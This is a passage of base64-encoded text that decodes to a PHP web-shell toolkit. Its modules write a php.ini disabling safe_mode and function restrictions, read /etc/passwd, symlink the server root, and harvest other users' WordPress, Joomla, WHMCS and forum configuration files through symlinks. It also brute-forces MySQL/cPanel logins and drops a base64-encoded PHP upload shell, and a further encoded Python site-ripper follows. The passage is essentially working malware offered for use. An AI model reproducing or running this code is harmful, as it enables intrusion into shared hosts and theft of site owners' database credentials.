BLSUNBZ0lEd3ZjM1I1YkdVKyc7CiR0dWxpcyA9IGZ3cml0ZSggJGluZGV4c2hlbGwsIGJhc2U2NF9kZWNvZGUoJGRhdGEpKTsKZmNsb3NlKCRpbmRleHNoZWxsKTsKICAgZWNobyAiPGlmcmFtZSBzcmM9YmNvbmZpZy9iaGMucGhwIHdpZHRoPTk3JSBoZWlnaHQ9MTAwJSBmcmFtZWJvcmRlcj0wPjwvaWZyYW1lPiI7IApicmVhazsKCiMjIyMjIyMjIyMjIyMjIyNDTVMgREVURUNUT1IKY2FzZSAnY29uZmlnJzsKJGJ5cGhwID0gInNhZmVfbW9kZSA9IE9mZgoJCWRpc2FibGVfZnVuY3Rpb25zID0gTm9uZQoJCSI7CmZpbGVfcHV0X2NvbnRlbnRzKCJwaHAuaW5pIiwkYnlwaHApOwoKZWNobyAnPENFTlRFUj48Yj4rLS09WyBDb25maWcgcHJpdjggXT0tLSs8L2I+PGJyPjxicj4nOwo/PgoKPGJSPjxmb3JtIG1ldGhvZD1wb3N0PgoJPHRleHRhcmVhIHJvd3M9MjAgY29scz04NSBuYW1lPXVzZXI+PD9waHAgICR1c2Vycz1maWxlKCIvZXRjL3Bhc3N3ZCIpOwpmb3JlYWNoKCR1c2VycyBhcyAkdXNlcikKewokc3RyPWV4cGxvZGUoIjoiLCR1c2VyKTsKZWNobyAkc3RyWzBdLiJcbiI7Cn0KCj8+PC90ZXh0YXJlYT48YnI+Cgk8aW5wdXQgdHlwZT1zdWJtaXQgbmFtZT1zdSB2YWx1ZT0iTGV0cyBTdGFydCIgLz48L2Zvcm0+PC9DRU5URVI+Cgk8P3BocAoJZXJyb3JfcmVwb3J0aW5nKDApOwoJZWNobyAiPGZvbnQgY29sb3I9IzAwZmYgc2l6ZT0yIGZhY2U9XCJjb21pYyBzYW5zIG1zXCI+IjsKCWlmKGlzc2V0KCRfUE9TVFsnc3UnXSkpCgl7Cglta2RpcignSW5qZWN0JywwNzc3KTsKJHJyICA9ICIgT3B0aW9ucyBhbGwgXG4gRGlyZWN0b3J5SW5kZXggU3V4Lmh0bWwgXG4gQWRkVHlwZSB0ZXh0L3BsYWluIC5waHAgXG4gQWRkSGFuZGxlciBzZXJ2ZXItcGFyc2VkIC5waHAgXG4gIEFkZFR5cGUgdGV4dC9wbGFpbiAuaHRtbCBcbiBBZGRIYW5kbGVyIHR4dCAuaHRtbCBcbiBSZXF1aXJlIE5vbmUgXG4gU2F0aXNmeSBBbnkiOwokZyA9IGZvcGVuKCdJbmplY3QvLmh0YWNjZXNzJywndycpOwpmd3JpdGUoJGcsJHJyKTsKJGluZGlzaGVsbCA9IHN5bWxpbmsoIi8iLCJJbmplY3Qvcm9vdCIpOwoJCSAgICAkcnQ9IjxhIGhyZWY9SW5qZWN0L3Jvb3Q+PGZvbnQgY29sb3I9d2hpdGUgc2l6ZT0zIGZhY2U9XCJjb21pYyBzYW5zIG1zXCI+IE93TjNkPC9mb250PjwvYT4iOwogICAgICAgIGVjaG8gIlBsZWFzZSBjaGVjayBsaW5rIGdpdmVuIGJlbG93IGZvciAvIGZvbGRlciBzeW1saW5rIDxicj48dT4kcnQ8L3U+IjsKCQkKCQkkZGlyPW1rZGlyKCdJTkpFQ1RJT04nLDA3NzcpOwoJCSRyICA9ICIgT3B0aW9ucyBhbGwgXG4gRGlyZWN0b3J5SW5kZXggU3V4Lmh0bWwgXG4gQWRkVHlwZSB0ZXh0L3BsYWluIC5waHAgXG4gQWRkSGFuZGxlciBzZXJ2ZXItcGFyc2VkIC5waHAgXG4gIEFkZFR5cGUgdGV4dC9wbGFpbiAuaHRtbCBcbiBBZGRIYW5kbGVyIHR4dCAuaHRtbCBcbiBSZXF1aXJlIE5vbmUgXG4gU2F0aXNmeSBBbnkiOwogICAgICAgICRmID0gZm9wZW4oJ0lOSkVDVElPTi8uaHRhY2Nlc3MnLCd3Jyk7CiAgIAogICAgICAgIGZ3cml0ZSgkZiwkcik7CiAgICAgICAgJGNvbnN5bT0iPGEgaHJlZj1JTkpFQ1RJT04vPjxmb250IGNvbG9yPXdoaXRlIHNpemU9MyBmYWNlPVwiY29taWMgc2FucyBtc1wiPmNvbmZpZ3VyYXRpb24gZmlsZXM8L2ZvbnQ+PC9hPiI7CiAgICAgICAJZWNobyAiPGJyPlRoZSBsaW5rIGdpdmVuIGJlbG93IGZvciBjb25maWd1cmF0aW9uIGZpbGUgc3ltbGluay4uLm9wZW4gaXQsIG9uY2UgcHJvY2Vzc2luZyBmaW5pc2ggPGJyPjx1Pjxmb250IGNvbG9yPXJlZCBzaXplPTIgZmFjZT1cImNvbWljIHNhbnMgbXNcIj4kY29uc3ltPC9mb250PjwvdT4iOwogICAgICAgCQogICAgICAgCQkkdXNyPWV4cGxvZGUoIlxuIiwkX1BPU1RbJ3VzZXInXSk7CiAgICAgICAJJGNvbmZpZ3VyYXRpb249YXJyYXkoIndwLWNvbmZpZy5waHAiLAoJCSJ3b3JkcHJlc3Mvd3AtY29uZmlnLnBocCIsCgkJIndlYi93cC1jb25maWcucGhwIiwKCQkid3Avd3AtY29uZmlnLnBocCIsCgkJInByZXNzL3dwLWNvbmZpZy5waHAiLAoJCSJ3b3JkcHJlc3MvYmV0YS93cC1jb25maWcucGhwIiwKCQkibmV3cy93cC1jb25maWcucGhwIiwKCQkibmV3L3dwLWNvbmZpZy5waHAiLAoJCSJibG9ncy93cC1jb25maWcucGhwIiwKCQkiaG9tZS93cC1jb25maWcucGhwIiwKCQkiYmxvZy93cC1jb25maWcucGhwIiwKCQkicHJvdGFsL3dwLWNvbmZpZy5waHAiLAoJCSJzaXRlL3dwLWNvbmZpZy5waHAiLAoJCSJtYWluL3dwLWNvbmZpZy5waHAiLAoJCSJ0ZXN0L3dwLWNvbmZpZy5waHAiLAoJCSJ3cC9iZXRhL3dwLWNvbmZpZy5waHAiLAoJCSJiZXRhL3dwLWNvbmZpZy5waHAiLAoJCSJqb29tbGEvY29uZmlndXJhdGlvbi5waHAiLAoJCSJwcm90YWwvY29uZmlndXJhdGlvbi5waHAiLAoJCSJqb28vY29uZmlndXJhdGlvbi5waHAiLAoJCSJjbXMvY29uZmlndXJhdGlvbi5waHAiLAoJCSJzaXRlL2NvbmZpZ3VyYXRpb24ucGhwIiwKCQkibWFpbi9jb25maWd1cmF0aW9uLnBocCIsCgkJIm5ld3MvY29uZmlndXJhdGlvbi5waHAiLAoJCSJuZXcvY29uZmlndXJhdGlvbi5waHAiLAoJCSJob21lL2NvbmZpZ3VyYXRpb24ucGhwIiwKCQkiY29uZmlndXJhdGlvbi5waHAiLAoJCSJTU0kucGhwIiwKCQkiZm9ydW0vU1NJLnBocCIsCgkJImZvcnVtL2luYy9jb25maWcucGhwIiwKCQkiZm9ydW0vaW5jbHVkZXMvY29uZmlnLnBocCIsCgkJInVwbG9hZC9pbmNsdWRlcy9jb25maWcucGhwIiwKCQkiY2MvaW5jbHVkZXMvY29uZmlnLnBocCIsCgkJInZiL2luY2x1ZGVzL2NvbmZpZy5waHAiLAoJCSJ2YjMvaW5jbHVkZXMvY29uZmlnLnBocCIsCgkJImNwYW5lbC9jb25maWd1cmF0aW9uLnBocCIsCgkJInBhbmVsL2NvbmZpZ3VyYXRpb24ucGhwIiwKCQkidWJtaXR0aWNrZXQucGhwIiwKCQkibWFuYWdlL2NvbmZpZ3VyYXRpb24ucGhwIiwKCQkibXlzaG9wL2NvbmZpZ3VyYXRpb24ucGhwIiwKCQkiYmV0YS9jb25maWd1cmF0aW9uLnBocCIsCgkJImluY2x1ZGVzL2NvbmZpZy5waHAiLAoJCSJsaWIvY29uZmlnLnBocCIsCgkJImNvbmZfZ2xvYmFsLnBocCIsCgkJImluYy9jb25maWcucGhwIiwKCQkiaW5jbC9jb25maWcucGhwIiwKCQkiaW5jbHVkZS9kYi5waHAiLAoJCSJpbmNsdWRlL2NvbmZpZy5waHAiLAoJCSJpbmNsdWRlcy9mdW5jdGlvbnMucGhwIiwKCQkiaW5jbHVkZXMvZGlzdC1jb25maWd1cmUucGhwIiwKCQkiY29ubmVjdC5waHAiLAoJCSJta19jb25mLnBocCIsCgkJImNvbmZpZy9rb25la3NpLnBocCIsCgkJInN5c3RlbS9zaXN0ZW0ucGhwIiwKCQkiY29uZmlnLnBocCIsCgkJIlNldHRpbmdzLnBocCIsCgkJInNldHRpbmdzLnBocCIsCgkJInNpdGVzL2RlZmF1bHQvc2V0dGluZ3MucGhwIiwKCQkic21mL1NldHRpbmdzLnBocCIsCgkJImZvcnVtL1NldHRpbmdzLnBocCIsCgkJImZvcnVtcy9TZXR0aW5ncy5waHAiLAoJCSJob3N0L2NvbmZpZ3VyYXRpb24ucGhwIiwKCQkiaG9zdGluZy9jb25maWd1cmF0aW9uLnBocCIsCgkJImhvc3RzL2NvbmZpZ3VyYXRpb24ucGhwIiwKCQkiemVuY2FydC9pbmNsdWRlcy9kaXN0LWNvbmZpZ3VyZS5waHAiLAoJCSJzaG9wL2luY2x1ZGVzL2Rpc3QtY29uZmlndXJlLnBocCIsCgkJIndobS9jb25maWd1cmF0aW9uLnBocCIsCgkJIndobWMvY29uZmlndXJhdGlvbi5waHAiLAoJCSJ3aG1jcy9jb25maWd1cmF0aW9uLnBocCIsCgkJIndobWMvV0hNL2NvbmZpZ3VyYXRpb24ucGhwIiwKCQkid2htL1dITUNTL2NvbmZpZ3VyYXRpb24ucGhwIiwKCQkid2htL3dobWNzL2NvbmZpZ3VyYXRpb24ucGhwIiwKCQkib3JkZXIvY29uZmlndXJhdGlvbi5waHAiLAoJCSJzdXBwb3J0L2NvbmZpZ3VyYXRpb24ucGhwIiwKCQkic3VwcG9ydHMvY29uZmlndXJhdGlvbi5waHAiLAoJCSJvc2NvbW1lcmNlL2luY2x1ZGVzL2NvbmZpZ3VyZS5waHAiLAoJCSJvc2NvbW1lcmNlcy9pbmNsdWRlcy9jb25maWd1cmUucGhwIiwKCQkic2hvcHBpbmcvaW5jbHVkZXMvY29uZmlndXJlLnBocCIsCgkJInNhbGUvaW5jbHVkZXMvY29uZmlndXJlLnBocCIsCgkJImNvbmZpZy5pbmMucGhwIiwKCQkiYW1lbWJlci9jb25maWcuaW5jLnBocCIsCgkJImNsaWVudHMvY29uZmlndXJhdGlvbi5waHAiLAoJCSJjbGllbnQvY29uZmlndXJhdGlvbi5waHAiLAoJCSJjbGllbnRlcy9jb25maWd1cmF0aW9uLnBocCIsCgkJImNsaWVudGUvY29uZmlndXJhdGlvbi5waHAiLAoJCSJjbGllbnRzdXBwb3J0L2NvbmZpZ3VyYXRpb24ucGhwIiwKCQkiYmlsbGluZy9jb25maWd1cmF0aW9uLnBocCIsCgkJImJpbGxpbmdzL2NvbmZpZ3VyYXRpb24ucGhwIiwKCQkiYWRtaW4vY29uZi5waHAiLAoJCSJhZG1pbi9jb25maWcucGhwIik7CgkJZm9yZWFjaCgkdXNyIGFzICR1c3MgKQoJCXsKCQkJJHVzPXRyaW0oJHVzcyk7CgkJCQkJCQoJCQlmb3JlYWNoKCRjb25maWd1cmF0aW9uIGFzICRjKQoJCQl7CgkJCSAkcnM9Ii9ob21lLyIuJHVzLiIvcHVibGljX2h0bWwvIi4kYzsKCQkJICRyPSJJTkpFQ1RJT04vIi4kdXMuIiAuLiAiLiRjOwoJCQkgc3ltbGluaygkcnMsJHIpOwoJCQkKCQl9CgkJCQoJCQl9CgkJCgkJCgkJfQpicmVhazsKLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8KY2FzZSdmaWxlJzsKCgpicmVhazsKIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMKCmNhc2UgJ2JydXRlJzs/Pgo8bWV0YSBodHRwLWVxdWl2PSJDb250ZW50LVR5cGUiIGNvbnRlbnQ9InRleHQvaHRtbDsgY2hhcnNldD11dGYtOCIgLz4KPD9waHAKLyoKUmVjb2RlZCBCeSBWYWoxIFYxcnVzCiovCkBzZXRfdGltZV9saW1pdCgwKTsKQGVycm9yX3JlcG9ydGluZygwKTsKCgppZigkX1BPU1RbJ3BhZ2UnXT09J2ZpbmQnKQp7CmlmKGlzc2V0KCRfUE9TVFsndXNlcm5hbWVzJ10pICYmIGlzc2V0KCRfUE9TVFsncGFzc3dvcmRzJ10pKQp7CiAgICBpZigkX1BPU1RbJ3R5cGUnXSA9PSAncGFzc3dkJyl7CiAgICAgICAgJGUgPSBleHBsb2RlKCJcbiIsJF9QT1NUWyd1c2VybmFtZXMnXSk7CiAgICAgICAgZm9yZWFjaCgkZSBhcyAkdmFsdWUpewogICAgICAgICRrID0gZXhwbG9kZSgiOiIsJHZhbHVlKTsKICAgICAgICAkdXNlcm5hbWUgLj0gJGtbJzAnXS4iICI7CiAgICAgICAgfQogICAgfWVsc2VpZigkX1BPU1RbJ3R5cGUnXSA9PSAnc2ltcGxlJyl7CiAgICAgICAgJHVzZXJuYW1lID0gc3RyX3JlcGxhY2UoIlxuIiwnICcsJF9QT1NUWyd1c2VybmFtZXMnXSk7CiAgICB9CiAgICAkYTEgPSBleHBsb2RlKCIgIiwkdXNlcm5hbWUpOwogICAgJGEyID0gZXhwbG9kZSgiXG4iLCRfUE9TVFsncGFzc3dvcmRzJ10pOwogICAgJGlkMiA9IGNvdW50KCRhMik7CiAgICAkb2sgPSAwOwogICAgZm9yZWFjaCgkYTEgYXMgJHVzZXIgKQogICAgewogICAgICAgIGlmKCR1c2VyICE9PSAnJykKICAgICAgICB7CiAgICAgICAgJHVzZXI9dHJpbSgkdXNlcik7CiAgICAgICAgIGZvcigkaT0wOyRpPD0kaWQyOyRpKyspCiAgICAgICAgIHsKICAgICAgICAgICAgJHBhc3MgPSB0cmltKCRhMlskaV0pOwogICAgICAgICAgICBpZihAbXlzcWxfY29ubmVjdCgnbG9jYWxob3N0JywkdXNlciwkcGFzcykpCiAgICAgICAgICAgIHsKICAgICAgICAgICAgICAgIGVjaG8gIlgnVmFqMSBWMXJ1cyB+IHVzZXIgaXMgKDxiPjxmb250IGNvbG9yPWdyZWVuPiR1c2VyPC9mb250PjwvYj4pIFBhc3N3b3JkIGlzICg8Yj48Zm9udCBjb2xvcj1ncmVlbj4kcGFzczwvZm9udD48L2I+KTxiciAvPiI7CiAgICAgICAgICAgICAgICAkb2srKzsKICAgICAgICAgICAgfQogICAgICAgICB9CiAgICAgICAgfQogICAgfQogICAgZWNobyAiPGhyPjxiPllvdSBGb3VuZCA8Zm9udCBjb2xvcj1ncmVlbj4kb2s8L2ZvbnQ+IENwYW5lbCBieSBWYWoxIFYxcnVzPC9iPiI7CiAgICBlY2hvICI8Y2VudGVyPjxiPjxhIGhyZWY9Ii4kX1NFUlZFUlsnUEhQX1NFTEYnXS4iPjw8IEJBQ0s8L2E+IjsKICAgIGV4aXQ7Cn0KfQppZigkX1BPU1RbJ3Bhc3MnXT09J3Bhc3N3b3JkJyl7CkBlcnJvcl9yZXBvcnRpbmcoMCk7CiRpID0gZ2V0ZW52KCdSRU1PVEVfQUREUicpOwokZCA9IGRhdGUoJ0QsIE0galMsIFkgSDppJyx0aW1lKCkpOwokaCA9ICRfU0VSVkVSWydIVFRQX0hPU1QnXTsKJGRpcj0kX1NFUlZFUlsnUEhQX1NFTEYnXTsKJGJhY2sgPSAiUEQ5d2FIQU5DbVZqYUc4Z0p6eG1iM0p0SUdGamRHbHZiajBpSWlCdFpYUm9iMlE5SW5CdmMzUWlJR1Z1WTNSNWNHVTlJbTExYkhScGNHRnlkQzltYjNKdExXUmhkR0VpSUc1aGJXVTlJblZ3Ykc5aFpHVnlJaUJwWkQwaWRYQnNiMkZrWlhJaVBpYzdEUXBsWTJodklDYzhhVzV3ZFhRZ2RIbHdaVDBpWm1sc1pTSWdibUZ0WlQwaVptbHNaU0lnYzJsNlpUMGlOVEFpUGp4cGJuQjFkQ0J1WVcxbFBTSmZkWEJzSWlCMGVYQmxQU0p6ZFdKdGFYUWlJR2xrUFNKZmRYQnNJaUIyWVd4MVpUMGlWWEJzYjJGa0lqNDhMMlp2Y20wK0p6c05DbWxtS0NBa1gxQlBVMVJiSjE5MWNHd25YU0E5UFNBaVZYQnNiMkZrSWlBcElIc05DbWxtS0VCamIzQjVLQ1JmUmtsTVJWTmJKMlpwYkdVblhWc25kRzF3WDI1aGJXVW5YU3dnSkY5R1NVeEZVMXNuWm1sc1pTZGRXeWR1WVcxbEoxMHBLU0I3SUdWamFHOGdKenhpUGt0dmNtRnVaeUJFWVdnZ1FtVnlhbUY1WVNCVmNHeHZZV1FnVTJobGJHd2dTMjl5WVc1bklTRWhQR0krUEdKeVBqeGljajRuT3lCOURRcGxiSE5sSUhzZ1pXTm9ieUFuUEdJK1MyOXlZVzVuSUVkaFoyRnNJRlZ3Ykc5aFpDQlRhR1ZzYkNCTGIzSmhibWNoSVNFOEwySStQR0p5UGp4aWNqNG5PeUI5RFFwOURRby9QZz09IjsKJGZpbGUgPSBmb3BlbigiLnBocCIsIncrIik7CiR3cml0ZSA9IGZ3cml0ZSAoJGZpbGUgLGJhc2U2NF9kZWNvZGUoJGJhY2spKTsKZmNsb3NlKCRmaWxlKTsKY2htb2QoIi5waHAiLDA3NTUpOwpta2RpcignY29uZmlnJywwNzU1KTsKJGNwID0KJ0l5RXZkWE55TDJKcGJpOWxibllnY0hsMGFHOXVEUW9OQ2ljbkp3MEtRbms2SUVGb2JXVmtJRk5vWVhkcmVTQmhhMkVnYkc1NFp6TXphdzBLZEdoNE9pQlBZbnA1TENCU1pXeHBheXdnYlc5b1lXSWdZVzVrSUNOaGNtRmljSGR1SUEwS0p5Y25EUW9OQ21sdGNHOXlkQ0J6ZVhNTkNtbHRjRzl5ZENCdmN3MEthVzF3YjNKMElISmxEUXBwYlhCdmNuUWdjM1ZpY0hKdlkyVnpjdzBLYVcxd2IzSjBJSFZ5Ykd4cFlnMEthVzF3YjNKMElHZHNiMklOQ21aeWIyMGdjR3hoZEdadmNtMGdhVzF3YjNKMElITjVjM1JsYlEwS0RRcHBaaUJzWlc0b2MzbHpMbUZ5WjNZcElDRTlJRE02RFFvZ0lIQnlhVzUwSnljbkNRMEtJRlZ6WVdkbE9pQWxjeUJiVlZKTUxpNHVYU0JiWkdseVpXTjBiM0o1TGk0dVhRMEtJRVY0S1NBbGN5Qm9kSFJ3T2k4dmQzZDNMblJsYzNRdVkyOXRMM1JsYzNRdklGdGthWElnTGk0dVhTY25KeUFsSUNoemVYTXVZWEpuZGxzd1hTd2djM2x6TG1GeVozWmJNRjBwRFFvZ0lITjVjeTVsZUdsMEtERXBEUW9OQ25OcGRHVWdQU0J6ZVhNdVlYSm5kbHN4WFEwS1ptOTFkQ0E5SUhONWN5NWhjbWQyV3pKZERRb05DblJ5ZVRvTkNpQWdjbVZ4SUNBOUlIVnliR3hwWWk1MWNteHZjR1Z1S0hOcGRHVXBEUW9nSUhKbFlXUWdQU0J5WlhFdWNtVmhaQ2dwRFFvZ0lHbG1JSE41YzNSbGJTZ3BJRDA5SUNkTWFXNTFlQ2M2RFFvZ0lDQWdaaUE5SUc5d1pXNG9KeTkwYlhBdlpHRjBZUzUwZUhRbkxDQW5keWNwRFFvZ0lDQWdaaTUzY21sMFpTaHlaV0ZrS1EwS0lDQWdJR1l1WTJ4dmMyVW9LUTBLSUNCcFppQnplWE4wWlcwb0tTQTlQU0FuVjJsdVpHOTNjeWM2RFFvZ0lDQWdaaUE5SUc5d1pXNG9KMlJoZEdFdWRIaDBKeXdnSjNjbktTQWdEUW9nSUNBZ1ppNTNjbWwwWlNoeVpXRmtLUTBLSUNBZ0lHWXVZMnh2YzJVb0tRMEtEUW9nSUdrZ1BTQXdEUW9nSUdsbUlITjVjM1JsYlNncElEMDlJQ2RNYVc1MWVDYzZEUW9nSUNBZ1ppQTlJRzl3Wlc0b0p5OTBiWEF2WkdGMFlTNTBlSFFuTENBbmNsVW5LUTBLSUNBZ0lHWnZjaUJzYVc1bElHbHVJR1k2RFFvZ0lDQWdJQ0JwWmlCc2FXNWxMbk4wWVhKMGMzZHBkR2dvSnp4c2FUNDhZU2NwSUQwOUlGUnlkV1VnT2cwS0lDQWdJQ0FnSUNCdElEMGdjbVV1YzJWaGNtTm9LSEluS0R4aElHaHlaV1k5SWlrb0xpdGJYajVkS1NnaVBpa25MQ0JzYVc1bEtRMEtJQ0FnSUNBZ0lDQnBJQ3M5SURFTkNpQWdJQ0FnSUNBZ2JHOWpZV3hmYm1GdFpTQTlJQ2NsY3k5bWFXeGxKV1F1ZEhoMEp5QWxJQ2htYjNWMExDQnBLUTBLSUNBZ0lDQWdJQ0J3Y21sdWRDQW5VbVYwY21sbGRtbHVaeTR1TGx4MFhIUW5MQ0J6YVhSbElDc2diUzVuY205MWNDZ3lLUTBLSUNBZ0lDQWdJQ0IwY25rNklDQjFjbXhzYVdJdWRYSnNjbVYwY21sbGRtVW9jMmwwWlNBcklHMHVaM0p2ZFhBb01pa3NJR3h2WTJGc1gyNWhiV1VwRFFvZ0lDQWdJQ0FnSUdWNFkyVndkQ0JKVDBWeWNtOXlPZzBLSUNBZ0lDQWdJQ0FnSUhCeWFXNTBJQ2RjYmxzbGMxMGdaRzlsYzI1Y0ozUWdaWGhwYzNRc0lHTnlaV0YwWlNCcGRDQm1hWEp6ZENjZ0pTQm1iM1YwRFFvZ0lDQWdJQ0FnSUNBZ2MzbHpMbVY0YVhRb0tRMEtJQ0FnSUNBZ2FXWWdiR2x1WlM1emRHRnlkSE4zYVhSb0tDYzhhVzFuSnlrZ1BUMGdWSEoxWlRvTkNpQWdJQ0FnSUNBZ2JURWdQU0J5WlM1elpXRnlZMmdvY2ljb1BHRWdhSEpsWmowaUtTZ3VLMXRlUGwwcEtDSStLU2NzSUd4cGJtVXBEUW9nSUNBZ0lDQWdJR2tnS3owZ01RMEtJQ0FnSUNBZ0lDQnNiMk5oYkY5dVlXMWxJRDBnSnlWekwyWnBiR1VsWkM1MGVIUW5JQ1VnS0dadmRYUXNJR2twRFFvZ0lDQWdJQ0FnSUhCeWFXNTBJQ2RTWlhSeWFXVjJhVzVuTGk0dVhIUmNkQ2NzSUhOcGRHVWdLeUJ0TVM1bmNtOTFjQ2d5S1EwS0lDQWdJQ0FnSUNCMGNuazZJQ0IxY214c2FXSXVkWEpzY21WMGNtbGxkbVVvYzJsMFpTQXJJRzB4TG1keWIzVndLRElwTENCc2IyTmhiRjl1WVcxbEtRMEtJQ0FnSUNBZ0lDQmxlR05sY0hRZ1NVOUZjbkp2Y2pvTkNpQWdJQ0FnSUNBZ0lDQndjbWx1ZENBblhHNWJKWE5kSUdSdlpYTnVYQ2QwSUdWNGFYTjBMQ0JqY21WaGRHVWdhWFFnWm1seWMzUW5JQ1VnWm05MWRBMEtJQ0FnSUNBZ0lDQWdJSE41Y3k1bGVHbDBLQ2tOQ2lBZ0lDQWdJR2xtSUd4cGJtVXVjM1JoY25SemQybDBhQ2duUEVsTlJ5Y3BJRDA5SUZSeWRXVTZEUW9nSUNBZ0lDQWdJRzB5SUQwZ2NtVXVjMlZoY21Ob0tISW5LRHhCSUVoU1JVWTlJaWtvTGl0YlhqNWRLU2dpUGlrbkxDQnNhVzVsS1EwS0lDQWdJQ0FnSUNCcElDczlJREVOQ2lBZ0lDQWdJQ0FnYkc5allXeGZibUZ0WlNBOUlDY2xjeTltYVd4bEpXUXVkSGgwSnlBbElDaG1iM1YwTENCcEtRMEtJQ0FnSUNBZ0lDQndjbWx1ZENBblVtVjBjbWxsZG1sdVp5NHVMbHgwWEhRbkxDQnphWFJsSUNzZ2JUSXVaM0p2ZFhBb01pa05DaUFnSUNBZ0lDQWdkSEo1T2lBZ2RYSnNiR2xpTG5WeWJISmxkSEpwWlhabEtITnBkR1VnS3lCdE1pNW5jbTkxY0NneUtTd2diRzlqWVd4ZmJtRnRaU2tOQ2lBZ0lDQWdJQ0FnWlhoalpYQjBJRWxQUlhKeWIzSTZEUW9nSUNBZ0lDQWdJQ0FnY0hKcGJuUWdKMXh1V3lWelhTQmtiMlZ6Ymx3bmRDQmxlR2x6ZEN3Z1kzSmxZWFJsSUdsMElHWnBjbk4wSnlBbElHWnZkWFFOQ2lBZ0lDQWdJQ0FnSUNCemVYTXVaWGhwZENncERRb2dJQ0FnWmk1amJHOXpaU2dwRFFvZ0lHbG1JSE41YzNSbGJTZ3BJRDA5SUNkWGFXNWtiM2R6SnpvTkNpQWdJQ0JtSUQwZ2IzQmxiaWduWkdGMFlTNTBlSFFuTENBbmNsVW5LUTBLSUNBZ0lHWnZjaUJzYVc1bElHbHVJR1k2RFFvZ0lDQWdJQ0JwWmlCc2FXNWxMbk4wWVhKMGMzZHBkR2dvSnp4c2FUNDhZU2NwSUQwOUlGUnlkV1VnT2cwS0lDQWdJQ0FnSUNCdElEMGdjbVV1YzJWaGNtTm9LSEluS0R4aElHaHlaV1k5SWlrb0xpdGJYajVkS1NnaVBpa25MQ0JzYVc1bEtRMEtJQ0FnSUNBZ0lDQnBJQ3M5SURFTkNpQWdJQ0FnSUNBZ2JHOWpZV3hmYm1GdFpTQTlJQ2NsY3k5bWFXeGxKV1F1ZEhoMEp5QWxJQ2htYjNWMExDQnBLUTBLSUNBZ0lDQWdJQ0J3Y21sdWRDQW5VbVYwY21sbGRtbHVaeTR1TGx4MFhIUW5MQ0J6YVhSbElDc2diUzVuY205MWNDZ3lLUTBLSUNBZ0lDQWdJQ0IwY25rNklDQjFjbXhzYVdJdWRYSnNjbVYwY21sbGRtVW9jMmwwWlNBcklHMHVaM0p2ZFhBb01pa3NJR3h2WTJGc1gyNWhiV1VwRFFvZ0lDQWdJQ0FnSUdWNFkyVndkQ0JKVDBWeWNtOXlPZzBLSUNBZ0lDQWdJQ0FnSUhCeWFXNTBJQ2RjYmxzbGMxMGdaRzlsYzI1Y0ozUWdaWGhwYzNRc0lHTnlaV0YwWlNCcGRDQm1hWEp6ZENjZ0pTQm1iM1YwRFFvZ0lDQWdJQ0FnSUNBZ2MzbHpMbVY0YVhRb0tRMEtJQ0FnSUNBZ2FXWWdiR2x1WlM1emRHRnlkSE4zYVhSb0tDYzhhVzFuSnlrZ1BUMGdWSEoxWlRvTkNpQWdJQ0FnSUNBZ2JURWdQU0J5WlM1elpXRnlZMmdvY2ljb1BHRWdhSEpsWmowaUtTZ3VLMXRlUGwwcEtDSStLU2NzSUd4cGJtVXBEUW9nSUNBZ0lDQWdJR2tnS3owZ01RMEtJQ0FnSUNBZ0lDQnNiMk5oYkY5dVlXMWxJRDBnSnlWekwyWnBiR1VsWkM1MGVIUW5JQ1VnS0dadmRYUXNJR2twRFFvZ0lDQWdJQ0FnSUhCeWFXNTBJQ2RTWlhSeWFXVjJhVzVuTGk0dVhIUmNkQ2NzSUhOcGRHVWdLeUJ0TVM1bmNtOTFjQ2d5S1EwS0lDQWdJQ0FnSUNCMGNuazZJQ0IxY214c2FXSXVkWEpzY21WMGNtbGxkbVVvYzJsMFpTQXJJRzB4TG1keWIzVndLRElwTENCc2IyTmhiRjl1WVcxbEtRMEtJQ0FnSUNBZ0lDQmxlR05sY0hRZ1NVOUZjbkp2Y2pvTkNpQWdJQ0FnSUNBZ0lDQndjbWx1ZENBblhHNWJKWE5kSUdSdlpYTnVYQ2QwSUdWNGFYTjBMQ0JqY21WaGRHVWdhWFFnWm1seWMzUW5JQ1VnWm05MWRBMEtJQ0FnSUNBZ0lDQWdJSE41Y3k1bGVHbDBLQ2tOQ2lBZ0lDQWdJR2xtSUd4cGJtVXVjM1JoY25SemQybDBhQ2duUEVsTlJ5Y3BJRDA5SUZSeWRXVTZEUW9nSUNBZ0lDQWdJRzB5SUQwZ2NtVXVjMlZoY21Ob0tISW5LRHhCSUVoU1JVWTlJaWtvTGl0YlhqNWRLU2dpUGlrbkxDQnNhVzVsS1EwS0lDQWdJQ0FnSUNCcElDczlJREVOQ2lBZ0lDQWdJQ0FnYkc5allXeGZibUZ0WlNBOUlDY2xjeTltYVd4bEpXUXVkSGgwSnlBbElDaG1iM1YwTENCcEtRMEtJQ0FnSUNBZ0lDQndjbWx1ZENBblVtVjBjbWxsZG1sdVp5NHVMbHgwWEhRbkxDQnphWFJsSUNzZ2JUSXVaM0p2ZFhBb01pa05DaUFnSUNBZ0lDQWdkSEo1T2lBZ2RYSnNiR2xpTG5WeWJISmxkSEpwWlhabEtITnBkR1VnS3lCdE1pNW5jbTkxY0NneUtTd2diRzlqWVd4ZmJtRnRaU2tOQ2lBZ0lDQWdJQ0FnWlhoalpYQjBJRWxQUlhKeWIzSTZEUW9nSUNBZ0lDQWdJQ0FnY0hKcGJuUWdKMXh1V3lWelhTQmtiMlZ6Ymx3bmRDQmxlR2x6ZEN3Z1kzSmxZWFJsSUdsMElHWnBjbk4wSnlBbElHWnZkWFFOQ2lBZ0lDQWdJQ0FnSUNCemVYTXVaWGhwZENncERRb2dJQ0FnWmk1amJHOXpaU2dwRFFvZ0lHbG1JSE41YzNSbGJTZ3BJRDA5SUNkTWFXNTFlQ2M2RFFvZ0lDQWdZMnhsWVc1MWNDQTlJSE4xWW5CeWIyTmxjM011VUc5d1pXNG9KM0p0SUMxeVppQXZkRzF3TDJSaGRHRXVkSGgwSUQ0Z0wyUmxkaTl1ZFd4c0p5d2djMmhsYkd3OVZISjFaU2t1ZDJGcGRDZ3BEUW9nSUdsbUlITjVjM1JsYlNncElEMDlJQ2RYYVc1a2IzZHpKem9OQ2lBZ0lDQmpiR1ZoYm5Wd0lEMGdjM1ZpY0hKdlkyVnpjeTVRYjNCbGJpZ25aR1ZzSUVNNlhHUmhkR0V1ZEhoMEp5d2djMmhsYkd3OVZISjFaU2t1ZDJGcGRDZ3BEUW9nSUhCeWFXNTBJQ2RjYmljc0lDY3RKeUFxSURFd01Dd2dKMXh1SncwS0